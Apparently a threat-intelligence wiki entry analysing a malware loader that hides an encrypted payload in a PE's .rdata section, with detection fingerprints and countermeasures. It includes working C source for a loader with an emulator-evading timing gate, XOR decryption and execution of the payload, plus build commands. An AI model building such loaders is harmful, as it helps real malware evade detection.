rdata-encrypted-payload-loader
Malware build pattern: the threat payload is encrypted and stored inside the .rdata section of a PE loader stub. At runtime the stub copies the ciphertext into a freshly allocated heap, decrypts it with a simple rolling-key XOR/ADD loop, fixes PE relocations, and transfers control. The outer PE imports only benign CRT and memory APIs, leaving no socket or registry strings in static analysis.
Detection / Fingerprint
.rdatasection is disproportionately large relative to.text(often >90% of file size) and has entropy near 8.0^[pefile.txt:132].textsection is tiny (~6 KB) and contains only CRT init + loader logic^[pefile.txt:92]- Minimal IAT:
KERNEL32.dll(heap, sleep, virtual-protect) +msvcrt.dll(memcpy, memset, clock)^[pefile.txt:364-422] - No WinInet, WinHTTP, WS2_32, or crypt32 imports in the outer binary
- Version-info masquerade is common but not mandatory
Implementation Patterns Observed
Stage 1 — Timing gate
The loader calls clock(), Sleep(1000), then clock() again and aborts if the delta is too small.^[r2:fcn.0040155b] This defeats emulators that fast-forward sleep calls.
Stage 2 — Stack probe + heap allocation
The loader probes the stack in 0x1000-byte decrements to commit a large local buffer, then allocates a private heap (HeapCreate + HeapAlloc) for the decrypted payload.^[r2:fcn.0040155b]
Stage 3 — Section copy
The encrypted payload is memcpy'd from .rdata (at image base + section VA) into the heap buffer. The size is usually the full .rdata virtual size (~610 KB in observed sample).^[r2:fcn.0040155b]
Stage 4 — Decryption
A compact byte-wise loop (e.g., fcn.00401520) performs:
for (i = 0; i < len; i++) {
buf[i] ^= key;
key += delta;
if (key >= limit) key = delta;
}
^[r2:fcn.00401520] Key, delta, and limit are small constants (often < 0x100) pushed as stack arguments before the decrypt call.
Stage 5 — Relocation fixups
The loader reuses its own MinGW pseudo-relocation engine (fcn.00401ae0) or a custom one to patch the decrypted payload's relocation table and call VirtualProtect to mark pages executable.^[r2:fcn.00401ae0]
Stage 6 — Transfer of control
After decryption and fixups, the loader makes an indirect call into the payload entry point. The inner payload then resolves its own imports and performs the actual malicious work.
Reproduce on your own VMs
Toolchain
- MinGW-w64 GCC 10.3.0 (
i686-w64-mingw32-gcc) - Target: PE32 (
-m32or cross-compiler),-mwindows
Working source skeleton
#include <windows.h>
#include <stdio.h>
#include <time.h>
// Embed a second PE or shellcode as a blob in .rdata
extern const unsigned char payload[];
extern const size_t payload_len;
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow) {
// Timing gate
clock_t t1 = clock();
Sleep(1000);
if ((clock() - t1) < 1700) return 1;
// Allocate heap
HANDLE heap = HeapCreate(0, 0x100000, 0);
LPVOID buf = HeapAlloc(heap, 0, payload_len);
memcpy(buf, payload, payload_len);
// Decrypt: XOR with rolling key
unsigned char key = 0x3e, delta = 3, limit = 8;
for (size_t i = 0; i < payload_len; i++) {
((unsigned char*)buf)[i] ^= key;
key += delta;
if (key >= limit) key = delta;
}
// Fix relocs and VirtualProtect (omitted for brevity)
// ...
// Execute
((void(*)())buf)();
return 0;
}
Verification step
Compile with i686-w64-mingw32-gcc -O2 -s -mwindows loader.c payload.o -o repro.exe. Run strings repro.exe and confirm no payload strings leak. Compare entropy of .rdata vs .text using pefile or r2 -qc 'iS' — .rdata should be near 8.0 while .text is below 6.0.
What you'll learn
How a 6 KB loader can carry a 600 KB encrypted payload with zero static indicators of malicious behavior. The detection gap is between static and dynamic analysis — the outer binary looks like a benign utility until it decrypts and jumps.
Defensive Countermeasures
- Entropy-based hunting: Flag PE files where a single data section exceeds 500 KB with entropy > 7.8 and
.text< 10 KB. - API hooking: Monitor
HeapCreate+HeapAlloc+VirtualProtectsequences in processes with minimal IAT. - Emulation tuning: Ensure sandbox Sleep fast-forward is randomized and the
clock()delta test is not bypassed. - Memory scanning: Scan freshly allocated heap regions for MZ headers shortly after
VirtualProtecttransitions to RWX.
Pages where observed
- /intel/analyses/e79a525e7677dfa422e529c390adb02c6250edb0e22f0666e3e7302ff27d8348.html — MinGW-w64 x86 variant with
clock/Sleepgate, rolling-XOR decryption, and Orion Iucs Digital masquerade. - uniqfile — umbrella entity that groups heterogeneous samples under the
uniq.fileOpenCTI label.
Related Techniques
- version-info-masquerade — frequently paired with this pattern to make the outer PE look like a legitimate utility.